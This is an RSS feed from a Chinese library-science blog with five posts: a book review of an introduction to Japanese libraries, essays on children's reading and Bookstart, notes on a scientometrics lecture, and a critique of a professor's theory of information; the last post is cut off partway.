<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>超平的博客 &#187; 学术那些事</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/tag/%e5%ad%a6%e6%9c%af%e9%82%a3%e4%ba%9b%e4%ba%8b/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net</link>
	<description></description>
	<lastBuildDate>Wed, 01 Feb 2012 13:18:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>全面的，也并非不可能：关于一本书</title>
		<link>http://www.mingzhiguwen.net/archives/1972.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1972.html#comments</comments>
		<pubDate>Fri, 13 Aug 2010 08:55:28 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[图林春秋]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1972</guid>
		<description><![CDATA[从广州回来后，收到了快递送来的一本书。 非网购，是获赠。 沈丽云老师，上图的，国际交流处处长。据吴建中馆长介绍，精通日语。明白了吧？这本书跟日本有关──《日本图书馆概论》。 真的是概论，把整个日本与图书馆有关的方面都写到了：国会图书馆、公共图书馆、学校图书馆、大学图书馆、专业与特种图书馆，此外还有日本的图书馆法律、图情教育、行业团体等等。 有个叫川岛良孝的日本人，京都大学大学院教育学研究科教授，日本图书馆研究会理事长，为此书写了序，写得挺亲切的，我摘录一些： 我记得大约是在两年前，听说沈丽云女士要执笔撰写有关全面介绍日本图书馆概况方面的图书。对于这样的构思，她肯定酝酿了更长的时间。老实说，我至今都记得，当时我感到很吃惊。在图书馆情报学的领域，专业也在不断地细分，在狭窄的范围内写论文比较简单; 然而，涉及图书馆的整个领域，我曾认为，不建立写作小组是很难完成这样的工作的。 同时，再这样的研究现状下，或者说，正式由于如此的状况，从全局的整体来研究图书馆比什么都重要。 与过去相比，对图书馆的视察和参观都能比较容易地做到了。然而，重要的是必须理解这些单个的图书馆和图书馆服务具有怎样的基础，在全局之中它们又具有怎样的位置。 好了，如果你对日本的单个的和全局的图书馆感兴趣，就去读这本书吧。]]></description>
			<content:encoded><![CDATA[<p>从广州回来后，收到了快递送来的一本书。</p>
<p>非网购，是获赠。</p>
<p>沈丽云老师，上图的，国际交流处处长。据吴建中馆长介绍，精通日语。明白了吧？这本书跟日本有关──《日本图书馆概论》。</p>
<p>真的是概论，把整个日本与图书馆有关的方面都写到了：国会图书馆、公共图书馆、学校图书馆、大学图书馆、专业与特种图书馆，此外还有日本的图书馆法律、图情教育、行业团体等等。<span id="more-1972"></span></p>
<p>有个叫川岛良孝的日本人，京都大学大学院教育学研究科教授，日本图书馆研究会理事长，为此书写了序，写得挺亲切的，我摘录一些：</p>
<p><span style="color: #008000;">我记得大约是在两年前，听说沈丽云女士要执笔撰写有关全面介绍日本图书馆概况方面的图书。对于这样的构思，她肯定酝酿了更长的时间。老实说，我至今都记得，当时我感到很吃惊。在图书馆情报学的领域，专业也在不断地细分，在狭窄的范围内写论文比较简单; 然而，涉及图书馆的整个领域，我曾认为，不建立写作小组是很难完成这样的工作的。</span></p>
<p><span style="color: #008000;">同时，再这样的研究现状下，或者说，正式由于如此的状况，从全局的整体来研究图书馆比什么都重要。</span></p>
<p><span style="color: #008000;">与过去相比，对图书馆的视察和参观都能比较容易地做到了。然而，重要的是必须理解这些单个的图书馆和图书馆服务具有怎样的基础，在全局之中它们又具有怎样的位置。</span></p>
<p>好了，如果你对日本的单个的和全局的图书馆感兴趣，就去读这本书吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1972.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>孩子的阅读：有事可为</title>
		<link>http://www.mingzhiguwen.net/archives/1871.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1871.html#comments</comments>
		<pubDate>Fri, 16 Apr 2010 15:32:07 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1871</guid>
		<description><![CDATA[写这一篇，跟越来越近的4.23不无关系。老实说，早几年我没有注意过这个日子，图书馆学没把大众阅读当回事儿，读教科书没读到过这方面的内容。没有职业的使命，阅读就仅仅是我个人的事情。个人的阅读方式和经验跟别人无关，更别说大众了，所以，跟4.23 也就没关系。 说起来得感谢“志愿者行动”，我纯粹为了躲避几位大牌教授而选了“图书馆推广”这门课。这门课的模样是我自己打造出来的，没有现成的可称之为理论、框架之类的硬通货。图书馆推广不可能跟阅读无关，于是，我不经意间走进了大众阅读。 当然，学术环境也在发生悄悄的变化，这几年，与阅读有关的话题开始热起来，虽然升温很慢，但它不再是被遗忘的角落。所以，去年暑假，当我终于下决心开始兑现几年前对吴唏馆长的承诺──为《深图通讯》写篇文章，顺便说一句，这个刊物改刊《公共图书馆研究》是促使我动笔的重要原因，我选定了大众阅读这个题目，在具体写作的时候又限定于未成年人阅读。我很得意自己的这个选题，认为这是最适合这份刊物的一个选题。  做这个选题有很多意外收获，以至于产生了一种强烈的遗憾──如果当年我生养儿子的时候知道这些东西。。。。在我的上一篇这个话题的博文后的跟帖里，我发现了一些似曾相似的经历──包租公用阅读的动作给孩子做示范，方言用“计谋”去培养孩子的阅读感觉，bookmorm不知道怎样开启孩子阅读的兴趣，gcr给孩子购买大量的绘本书并为孩子讲读。。。。我跟他们一样也给儿子营造了不错的阅读环境，比如为他朗读，给他听故事录音带，在他小学一年级的时候为他买了整套《三国演义》连环画，五年级的时候为他选购了《马克吐温幽默小说选》、《杰克伦敦短篇小说选》、《大仲马》。。。 但是，在我经历了一个研究过程后才知道，这些，远远不够，甚至有可能，不太合适，或者说，我只是本能地那么做了没有更明确的意图。。。。比如我不知道小学5年纪左右是孩子阅读能力发展的黄金时期。。。。 始于英国迅即其它国家也跟进的“Bookstart”计划，大胆设计了从零岁开始的阅读行动──实际上就是家长为孩子讲故事或朗读，有专家专门为此推荐的书目。后续跟进的研究表明，参与这项活动的孩子，他们更喜欢阅读，掌握的词汇更多，甚至，更懂得翻页。。。。在对家长的调查中，所有参与这项活动的孩子家长都说好。。。。。  如果孩子不喜欢阅读怎么办？现在的小学，美其名曰培养孩子的阅读能力，每天给孩子发一叠阅读材料。。。。的确有不少孩子对这种阅读提不起兴趣，家长一筹莫展。许多阅读研究专家已经找到解决办法──从读绘本开始培养孩子的阅读兴趣，研究表明这个方法是所有方法中效果最明显的。甚至，许多没有阅读习惯的成年人，也被鼓励读绘本。。。在去年温州少儿图书馆的一次阅读小课堂上，我惊奇地发现，绘本的价值远不止形象生动的绘图和简短活泼的文字以及有趣的故事，还隐藏了许多能激起阅读者兴趣的小智慧。 很多公共图书馆都热衷于搞暑期计划，大致都知道暑期是向青少年推广阅读的好时机。而阅读研究提供的信息要远远多于“暑期=更多的闲暇”这一点视野。研究表明，相当多的孩子在经过一个漫长的暑假都会“变傻”──词汇量下降、理解能力下降、计算能力下降。。。而阅读是阻止孩子“变傻”的最好方式。  由于阅读能力的提高是一个过程， 跟阅读者的实际阅读能力不相匹配的读物对阅读者是一种伤害。“分级阅读”被认为是一种容易让阅读者获得阅读乐趣的方法，国外已经有了各种分级阅读体系，在我们还不太知晓的时候，其实相关的研究也已经在国内开展并已取得进展比如已经有了分级阅读书目。我认识的阅读专家王泉根教授呼吁包括图书馆在内的相关领域应该致力于分级阅读的推广。。。。 对于孩子，如果我们把阅读只是视为玩耍的一种方式，那么我们的代价可能是── 在美国，约有63%的高中生想上大学，但只有37%的学生的阅读能力达到了理解大学教材的水平。]]></description>
			<content:encoded><![CDATA[<p>写这一篇，跟越来越近的4.23不无关系。老实说，早几年我没有注意过这个日子，图书馆学没把大众阅读当回事儿，读教科书没读到过这方面的内容。没有职业的使命，阅读就仅仅是我个人的事情。个人的阅读方式和经验跟别人无关，更别说大众了，所以，跟4.23 也就没关系。</p>
<p>说起来得感谢“志愿者行动”，我纯粹为了躲避几位大牌教授而选了“图书馆推广”这门课。这门课的模样是我自己打造出来的，没有现成的可称之为理论、框架之类的硬通货。图书馆推广不可能跟阅读无关，于是，我不经意间走进了大众阅读。<span id="more-1871"></span></p>
<p>当然，学术环境也在发生悄悄的变化，这几年，与阅读有关的话题开始热起来，虽然升温很慢，但它不再是被遗忘的角落。所以，去年暑假，当我终于下决心开始兑现几年前对吴唏馆长的承诺──为《深图通讯》写篇文章，顺便说一句，这个刊物改刊《公共图书馆研究》是促使我动笔的重要原因，我选定了大众阅读这个题目，在具体写作的时候又限定于未成年人阅读。我很得意自己的这个选题，认为这是最适合这份刊物的一个选题。 </p>
<p>做这个选题有很多意外收获，以至于产生了一种强烈的遗憾──如果当年我生养儿子的时候知道这些东西。。。。在我的上一篇这个话题的<strong><a href="http://www.mingzhiguwen.net/archives/1859.html">博文</a></strong>后的跟帖里，我发现了一些似曾相似的经历──包租公用阅读的动作给孩子做示范，方言用“计谋”去培养孩子的阅读感觉，bookmorm不知道怎样开启孩子阅读的兴趣，gcr给孩子购买大量的绘本书并为孩子讲读。。。。我跟他们一样也给儿子营造了不错的阅读环境，比如为他朗读，给他听故事录音带，在他小学一年级的时候为他买了整套《三国演义》连环画，五年级的时候为他选购了《马克吐温幽默小说选》、《杰克伦敦短篇小说选》、《大仲马》。。。</p>
<p>但是，在我经历了一个研究过程后才知道，这些，远远不够，甚至有可能，不太合适，或者说，我只是本能地那么做了没有更明确的意图。。。。比如我不知道小学5年纪左右是孩子阅读能力发展的黄金时期。。。。</p>
<p>始于英国迅即其它国家也跟进的“Bookstart”计划，大胆设计了从零岁开始的阅读行动──实际上就是家长为孩子讲故事或朗读，有专家专门为此推荐的书目。后续跟进的研究表明，参与这项活动的孩子，他们更喜欢阅读，掌握的词汇更多，甚至，更懂得翻页。。。。在对家长的调查中，所有参与这项活动的孩子家长都说好。。。。。 </p>
<p>如果孩子不喜欢阅读怎么办？现在的小学，美其名曰培养孩子的阅读能力，每天给孩子发一叠阅读材料。。。。的确有不少孩子对这种阅读提不起兴趣，家长一筹莫展。许多阅读研究专家已经找到解决办法──从读绘本开始培养孩子的阅读兴趣，研究表明这个方法是所有方法中效果最明显的。甚至，许多没有阅读习惯的成年人，也被鼓励读绘本。。。在去年温州少儿图书馆的一次阅读小课堂上，我惊奇地发现，绘本的价值远不止形象生动的绘图和简短活泼的文字以及有趣的故事，还隐藏了许多能激起阅读者兴趣的小智慧。</p>
<p>很多公共图书馆都热衷于搞暑期计划，大致都知道暑期是向青少年推广阅读的好时机。而阅读研究提供的信息要远远多于“暑期=更多的闲暇”这一点视野。研究表明，相当多的孩子在经过一个漫长的暑假都会“变傻”──词汇量下降、理解能力下降、计算能力下降。。。而阅读是阻止孩子“变傻”的最好方式。 </p>
<p>由于阅读能力的提高是一个过程， 跟阅读者的实际阅读能力不相匹配的读物对阅读者是一种伤害。“分级阅读”被认为是一种容易让阅读者获得阅读乐趣的方法，国外已经有了各种分级阅读体系，在我们还不太知晓的时候，其实相关的研究也已经在国内开展并已取得进展比如已经有了分级阅读书目。我认识的阅读专家王泉根教授呼吁包括图书馆在内的相关领域应该致力于分级阅读的推广。。。。</p>
<p>对于孩子，如果我们把阅读只是视为玩耍的一种方式，那么我们的代价可能是── 在美国，约有63%的高中生想上大学，但只有37%的学生的阅读能力达到了理解大学教材的水平。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1871.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>图书馆学把什么丢掉了？</title>
		<link>http://www.mingzhiguwen.net/archives/1859.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1859.html#comments</comments>
		<pubDate>Mon, 29 Mar 2010 02:17:15 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1859</guid>
		<description><![CDATA[看第8期《图书馆报》看到一个人物──萨苏，据说是知名作家和知名博客，超级惭愧，这两个知名我竟然一无所知。《图书馆报》采访萨苏的原因──先生毕业于北师大信息管理系（现侨居日本并娶日本女为妻）。上网查到萨先生的博客后立即订阅。《图书馆报》对萨先生的采访整了一大篇，其中一个问题是问萨先生对4岁的女儿在阅读上是如何要求的，萨先生的回答是“4岁的孩子无法无天，我能要求她怎样阅读吗？我敢要求她怎样阅读吗？” 我琢磨了这句话好半天，从字面上理解，萨先生是指对4岁的孩子应该由着她的天性，大人不应该要求她什么。我好奇的是，萨先生有引导他的女儿阅读吗？在他所接受的图书馆学专业教育里，是没有引导孩子阅读这个内容的。但我又想到，萨先生是个作家，他不可能不引导孩子阅读，他不可能不希望他的女儿喜欢阅读。我还想到萨先生生活在日本，日本是“Bookstart”计划的参与国，所以他的女儿很有可能是该项计划的受益者。琢磨到这里我对这篇访谈的记者很有意见，怎么这么用词不慎啊，“要求”二字就把一个可以获得更多信息的可能性给弄没了。 像萨先生这样所有在国内学习图书馆学专业的学生，在其专业学习过程中都没有获得一种来自图书馆学角度的阅读学知识。我为什么要用这么奇怪的一种表述呢？因为这个学科过往对阅读的关注不是从图书馆学的角度而是从文献学的角度，我把这二者的区别定义为前者是从人的角度而后者是从书的角度。 从书的角度对阅读的号召就是读好书，读名著，用时髦句式概括就是精英阅读，就是深阅读。以至于我们这个学科最顶尖的学者对阅读的研究是立于书的研究，是永远在书堆中扒拉一本又一本的“好书”，是对这些好书怀着敬畏之心的深阅读。所以我特别想知道萨先生到底是认为4岁的孩子不应该按照大人的要求来阅读呢还是根本就不能阅读。 我认为的图书馆学对阅读的研究应该是从人的角度的研究。它可能首先需要研究“如何才能说服人们阅读”，但图书馆学对这个问题很漠然。比如，如果有人反问你“为什么要阅读”图书馆人能怎样回答呢？我们根本没有属于自己的专业话语，最多就是摘录一些名人语录，或者八卦地引用老祖宗流传下来的“书中自由黄金屋，书中自有颜如玉”的鬼话。一个对阅读研究缺位的学科，拿不出更多的依据来说服人们阅读，比如像美国专家那样来说服：约有63%的高中生想上大学，但只有37%的学生的阅读能力达到了理解大学教材的水平。 从人的角度研究阅读，图书馆学还应该研究一个刚刚来到这个世界的孩子他可以从哪一天开始他人生的第一次阅读？我们的图书馆学对这个问题也很漠然。几年前当我第一次从美国的英慧奇（音）女士那里知道他们的Bookstart计划时，我所受到的震撼使我开始深深地怀疑我们图书馆学对阅读的那种惯常的高雅姿态。去年在温州少儿馆举行的一次阅读观摩会议上，当我们看到几个年轻的馆员mm用那样的方式去做阅读推广，连袁逸这样的阅读高人也被震撼得想哭，可见我们的阅读研究真的是缺少点什么，不是，是缺得太多太多。 从人的角度来研究阅读，图书馆学还应该研究怎样教会人们阅读──因为这个世界上毕竟有相当数量的人对阅读缺乏一种敏感，他们读不了名著，因而对阅读敬而远之，但我们的图书馆学对这个问题也很漠然。它从不研究一个人（主要是孩子，也包括相当多的成年人）如果需要学习阅读他应该从哪里起步？他怎样才能做到快乐地享受阅读？当我知道深圳后海小学校长袁晓峰先生成功地用绘本培养了一批又一批阅读的小粉丝，我在欣喜的同时也有一种被刺痛的感觉。“快乐阅读”在图书馆实际工作中还只是一个口号，什么时候我们的图书馆学才能赋予它丰富的内涵？ 好像是在去年上海市图书馆学会年会苏州会议上，老槐的报告为浅阅读和功利阅读正名，这个算是一次另类的声音，我知道这种声音还远不能撼动图书馆学对阅读的立场。所以我在这里换一种说法，即希望图书馆学站在人的角度来研究阅读，是时候了，不然， 我们永远在这个话题上与国际图书馆学界搭不上话。]]></description>
			<content:encoded><![CDATA[<p>看第8期《图书馆报》看到一个人物──萨苏，据说是知名作家和知名博客，超级惭愧，这两个知名我竟然一无所知。《图书馆报》采访萨苏的原因──先生毕业于北师大信息管理系（现侨居日本并娶日本女为妻）。上网查到萨先生的博客后立即订阅。《图书馆报》对萨先生的采访整了一大篇，其中一个问题是问萨先生对4岁的女儿在阅读上是如何要求的，萨先生的回答是“4岁的孩子无法无天，我能要求她怎样阅读吗？我敢要求她怎样阅读吗？”</p>
<p>我琢磨了这句话好半天，从字面上理解，萨先生是指对4岁的孩子应该由着她的天性，大人不应该要求她什么。我好奇的是，萨先生有引导他的女儿阅读吗？在他所接受的图书馆学专业教育里，是没有引导孩子阅读这个内容的。但我又想到，萨先生是个作家，他不可能不引导孩子阅读，他不可能不希望他的女儿喜欢阅读。我还想到萨先生生活在日本，日本是“Bookstart”计划的参与国，所以他的女儿很有可能是该项计划的受益者。琢磨到这里我对这篇访谈的记者很有意见，怎么这么用词不慎啊，“要求”二字就把一个可以获得更多信息的可能性给弄没了。</p>
<p>像萨先生这样所有在国内学习图书馆学专业的学生，在其专业学习过程中都没有获得一种来自图书馆学角度的阅读学知识。我为什么要用这么奇怪的一种表述呢？因为这个学科过往对阅读的关注不是从图书馆学的角度而是从文献学的角度，我把这二者的区别定义为前者是从人的角度而后者是从书的角度。</p>
<p>从书的角度对阅读的号召就是读好书，读名著，用时髦句式概括就是精英阅读，就是深阅读。以至于我们这个学科最顶尖的学者对阅读的研究是立于书的研究，是永远在书堆中扒拉一本又一本的“好书”，是对这些好书怀着敬畏之心的深阅读。所以我特别想知道萨先生到底是认为4岁的孩子不应该按照大人的要求来阅读呢还是根本就不能阅读。</p>
<p>我认为的图书馆学对阅读的研究应该是从人的角度的研究。它可能首先需要研究“如何才能说服人们阅读”，但图书馆学对这个问题很漠然。比如，如果有人反问你“为什么要阅读”图书馆人能怎样回答呢？我们根本没有属于自己的专业话语，最多就是摘录一些名人语录，或者八卦地引用老祖宗流传下来的“书中自由黄金屋，书中自有颜如玉”的鬼话。一个对阅读研究缺位的学科，拿不出更多的依据来说服人们阅读，比如像美国专家那样来说服：约有63%的高中生想上大学，但只有37%的学生的阅读能力达到了理解大学教材的水平。</p>
<p>从人的角度研究阅读，图书馆学还应该研究一个刚刚来到这个世界的孩子他可以从哪一天开始他人生的第一次阅读？我们的图书馆学对这个问题也很漠然。几年前当我第一次从美国的英慧奇（音）女士那里知道他们的Bookstart计划时，我所受到的震撼使我开始深深地怀疑我们图书馆学对阅读的那种惯常的高雅姿态。去年在温州少儿馆举行的一次阅读观摩会议上，当我们看到几个年轻的馆员mm用那样的方式去做阅读推广，连袁逸这样的阅读高人也被震撼得想哭，可见我们的阅读研究真的是缺少点什么，不是，是缺得太多太多。</p>
<p>从人的角度来研究阅读，图书馆学还应该研究怎样教会人们阅读──因为这个世界上毕竟有相当数量的人对阅读缺乏一种敏感，他们读不了名著，因而对阅读敬而远之，但我们的图书馆学对这个问题也很漠然。它从不研究一个人（主要是孩子，也包括相当多的成年人）如果需要学习阅读他应该从哪里起步？他怎样才能做到快乐地享受阅读？当我知道深圳后海小学校长袁晓峰先生成功地用绘本培养了一批又一批阅读的小粉丝，我在欣喜的同时也有一种被刺痛的感觉。“快乐阅读”在图书馆实际工作中还只是一个口号，什么时候我们的图书馆学才能赋予它丰富的内涵？</p>
<p>好像是在去年上海市图书馆学会年会苏州会议上，老槐的报告为浅阅读和功利阅读正名，这个算是一次另类的声音，我知道这种声音还远不能撼动图书馆学对阅读的立场。所以我在这里换一种说法，即希望图书馆学站在人的角度来研究阅读，是时候了，不然， 我们永远在这个话题上与国际图书馆学界搭不上话。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1859.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>紧着一个发文和一个引文折腾</title>
		<link>http://www.mingzhiguwen.net/archives/1769.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1769.html#comments</comments>
		<pubDate>Tue, 01 Dec 2009 09:07:15 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1769</guid>
		<description><![CDATA[昨天下午听了一场科学计量学的学术报告。报告人是中国科学计量学界的牛人——河南师范大学的梁立明教授。梁教授是比利时Antwerp大学的博士，也是河南省特聘教授，大连理工大学和上海交通大学博士生导师。梁教授有着很好的学术教养，且因为是学数学出身的，把个科学计量学玩得狠数学狠优雅。  这个领域真是一个有意思的领域，一大帮人，全世界是很大一帮人，就紧着一个“发文”和一个“引文”折腾。还有狠NB的期刊，每年还要搞大爬铁。  梁教授狠优雅地研究“科学的节律”，不屑于各种排行榜。这让我想起了曾经见过面的武书连老师，说明萝卜白菜的确是分别被爱。  梁教授因为是科学计量学大N杂志《scientometrics》的编委，所以免不了要审稿。经常会发现在处理均值的时候人们会犯低级错误，梁教授很优雅地说，不是他们不懂，是太忽略了。  根据梁教授的计算，《scientometrics》的科学节律呈下降趋势，她说一直不敢公布这个结果。  科学计量学俺是外行，也不是感兴趣的领域，但昨天还是狠有收获，方法论方面的收获。]]></description>
			<content:encoded><![CDATA[<p>昨天下午听了一场科学计量学的学术报告。报告人是中国科学计量学界的牛人——河南师范大学的梁立明教授。梁教授是比利时Antwerp大学的博士，也是河南省特聘教授，大连理工大学和上海交通大学博士生导师。梁教授有着很好的学术教养，且因为是学数学出身的，把个科学计量学玩得狠数学狠优雅。<span id="more-1769"></span></p>
<p> 这个领域真是一个有意思的领域，一大帮人，全世界是很大一帮人，就紧着一个“发文”和一个“引文”折腾。还有狠NB的期刊，每年还要搞大爬铁。</p>
<p> 梁教授狠优雅地研究“科学的节律”，不屑于各种排行榜。这让我想起了曾经见过面的武书连老师，说明萝卜白菜的确是分别被爱。</p>
<p> 梁教授因为是科学计量学大N杂志《scientometrics》的编委，所以免不了要审稿。经常会发现在处理均值的时候人们会犯低级错误，梁教授很优雅地说，不是他们不懂，是太忽略了。</p>
<p> 根据梁教授的计算，《scientometrics》的科学节律呈下降趋势，她说一直不敢公布这个结果。</p>
<p> 科学计量学俺是外行，也不是感兴趣的领域，但昨天还是狠有收获，方法论方面的收获。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mingzhiguwen.net/archives/1769.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>我建议杨文祥教授不要停止这场讨论</title>
		<link>http://www.mingzhiguwen.net/archives/1231.html</link>
		<comments>http://www.mingzhiguwen.net/archives/1231.html#comments</comments>
		<pubDate>Thu, 22 Jan 2009 05:57:28 +0000</pubDate>
		<dc:creator>超平</dc:creator>
				<category><![CDATA[旁门左道]]></category>
		<category><![CDATA[学术那些事]]></category>

		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1231</guid>
		<description><![CDATA[明天就要回家与父母团聚了，原本散了的心却被拉了回来，缘于一场“对话”。 得感谢湘轲，要不然就误了这场精彩的对话。这也反映了我的网阅越来越面窄。 杨教授似乎要结束这场对话，我有些心不甘，远还没有把问题说透呢。博客真是好东东，刊物上的商榷我一般没什么兴趣，一来一往相隔太久，感觉都找不到了。博客的交锋几乎就是即时的，哪怕是杨教授因事物繁忙而迟复几天，也不影响我们的阅读，情绪还在。 这么好的交流平台，这么有意思的交流话题，杨教授真不应该就此打住。不管杨教授愿不愿意，我倒是想说点自己的看法。我跟杨教授算是同道吧，谈不上交情，仅限于见面热情招呼，热情问候，然后热情道别。杨教授是个爽直的北方汉子，我相信如果我的博文让杨教授感觉不爽了，下次见面时他也不会对我横眉冷对，照样会热情招呼热情问候然后热情道别。“热情”是专业同道之间最基本的礼仪符号。当然如果能够因为学术而朋友那就更好了，礼仪符号也随之而丰富一些，比如像跟竹帛、杨玉麟等见面时来个热情拥抱；也可能如老槐，平淡地打个招呼，就像昨天刚刚见过面一般，没必要忽悠一个见面仪式。 对杨教授的研究，我算是外行。说外行有两层意思，一是从未介入过杨教授的研究领域，二是没有拜读过杨教授的大作《信息资源价值研究》。本不具备说什么甚至提问的资格，好在有云中鹤博客，让我有缘读到杨教授最核心的思想——有关信息本质的思考。 信息是宇宙的有序化机制，也就是宇宙系统的结构机制。生命是宇宙系统发展到一定水平和高度的系统形式，我们称其为生命系统。生命系统是宇宙有序化发展到一定程度的产物，是一种高度有序化的系统。这样，信息不仅是生命系统的结构机制，同时也就必然是生命系统的自然诉求。实际上，信息对无机系统的意义也是如此。只不过是我们人类目前还一时无从弄清楚它的运行机理而已。正是基于这一机理，我们称之为客观规律或自然规律的东西才有可能存在。所谓规律，就是宇宙结构的有序化生成、宇宙系统的有序化运行和有序化发展的既定模式。 对杨教授的研究领域和研究方式都陌生，对一个陌生的研究领域我很难短时间内能补上课，我便找捷径以便让自己先把充满疑惑的心安顿下来，这个捷径就是了解杨教授的研究方法。 杨教授短短的文字里，包含了好几个判断。我想知道这些判断是怎么形成的？ 1.宇宙系统。 2.信息是宇宙的有序化机制，也就是宇宙系统的结构机制。 3.生命系统是宇宙有序化发展到一定程度的产物，是一种高度有序化的系统。这样，信息不仅是生命系统的结构机制，同时也就必然是生命系统的自然诉求。（我没看懂“这样”是如何这样的） 4.实际上，信息对无机系统的意义也是如此。只不过是我们人类目前还一时无从弄清楚它的运行机理而已。（人类都没有搞清楚，“也是如此”的结论从何而来呢？） 5.正是基于这一机理，我们称之为客观规律或自然规律的东西才有可能存在。 6.此外还有：信息机制是揭示宇宙无穷奥秘的最后一道密码 因为涉及到“宇宙系统”，我猜测杨教授不可能采用实证的研究方法，如是，就是所谓的思辨式研究了？ 我相信世界上是有一种研究方法叫做“思辨”，上大学时学物质结构，从玻耳原子结构模型的提出第一次知道了这一研究方法。因为原子结构的不可直接观察，玻耳老师便根据物质的宏观性质进行推测，我的老师告诉我们这就是理论假说。我当时在心里琢磨，这个“说”是“假”的，因为是玻耳老师想出来的。老师还告诉我们，这个假说能不能让大家伙儿接受还要看它的解释能力。我当时还不知道玻耳老师的研究方法在方法论上被称为思辨，但好歹也算知道了可以用这种方法进行科学研究。不是可以，是有些问题在未达到直接观察以前，恐怕只能如此。 从我的启蒙教育里得到的知识是，即使是思辨研究，把握大一点的话是根据可观察的现象来进行推测，不能只做脑筋急转弯；另外反过来还要用“推测”去解释更多的现象。理论家的工作就是，提出假说后，花相当的精力去证明其假说，所以假说的提出只是万里长征的第一步。 我不知道杨教授在其著作里有没有用足够的现象来支撑自己的判断（结论），对此我相当好奇，因为单就“信息是宇宙的有序化机制，也就是宇宙系统的结构机制”这一结论，这要通过什么样的现象来作为依据呢？我认定这是一个相当有难度的工作，光是想想，就已远远超出了我的脑力负荷。 从杨教授的博客文我知道，杨教授还也没有完成假说的解释力的证明过程。所以我不赞成杨教授在课堂上或博客里劝学生去读懂自己的著作，因为杨教授是希望通过“读懂”来接受自己的学术思想。在还没有得到证明之前，杨教授的研究还只是假说，还没有到可以劝别人去接受的地步。 即使是可以用辩证法、系统论一类的理论来助你一臂之力，但根据常识，这些理论可以为作为一种理论依据它仍然不能代替要得出结论必须有现象作支撑和必须让结论能解释更多的现象的研究过程，理论依据只是在你根据现象提出推断时的一种思维工具，它们不应该成为一项研究结论的唯一依据。 那种不用现象作支撑纯粹用脑子想出来的结论也是有的吧，即便如此，在未得到检验之前，那还只能是一个个人化的思考，比起建立在现象之上的假说，其说服力就更差了。说得俗一点，纯粹个人思考的结果，凭什么要别人接受呢？ 那位天涯网友一直对“宇宙系统”的说法质疑，坦率地说，我也有与这位朋友相同的疑惑。实际上杨教授是提出了“宇宙是一个系统”的判断，这个判断是对现有系统概念的颠覆。如果要说服我们接受这一判断，杨教授或许应该从两个方面择其一进行证明：或者证明现有的系统概念不正确，确有重新提出系统概念的必要性；或者证明在现有概念下，宇宙的确是一个系统，比如它有边界，有开放性（即与环境有物质和能量的交流），等等。我可以理解因为前沿而不能百度，但我不能杨教授冷不丁提出一个“宇宙系统”的概念就不带任何怀疑地照单收下。 在未拜读大作的情况下，仅能就杨教授的“本质思考”谈点看法。我不想介入口舌是非，是因为先生的一句话给了我鼓励，“尽管很是热闹了几日，但令人失望的是至今没有出现我所一直期待的那种各自提出自己的观点，相互交流，共同受益的局面”。显然先生是希望相互交流的，近几年来学术界同道之间的交流越来越少，大多数情况是作者们自说自话。我想借博客这个天地，跟杨教授做一些交流，就不假惺惺地说什么讨教之流的虚伪话了，就是同道之间的探讨，仅此而已。 恭祝杨教授牛年大吉！  ]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: 宋体;">明天就要回家与父母团聚了，原本散了的心却被拉了回来，缘于一场“对话”。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">得感谢<span style="color: #0000ff;"><a href="http://blog.sina.com.cn/s/blog_59f062810100bpwp.html">湘轲</a></span>，要不然就误了这场精彩的对话。这也反映了我的网阅越来越面窄。</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span style="font-family: 宋体;">杨</span><span style="font-family: 宋体;">教授似乎要结束这场对话，我有些心不甘，远还没有把问题说透呢。博客真是好东东，刊物上的商榷我一般没什么兴趣，一来一往相隔太久，感觉都找不到了。博客的交锋几乎就是即时的，哪怕是杨教授因事物繁忙而迟复几天，也不影响我们的阅读，情绪还在。</span></p>
<p class="MsoNormal">
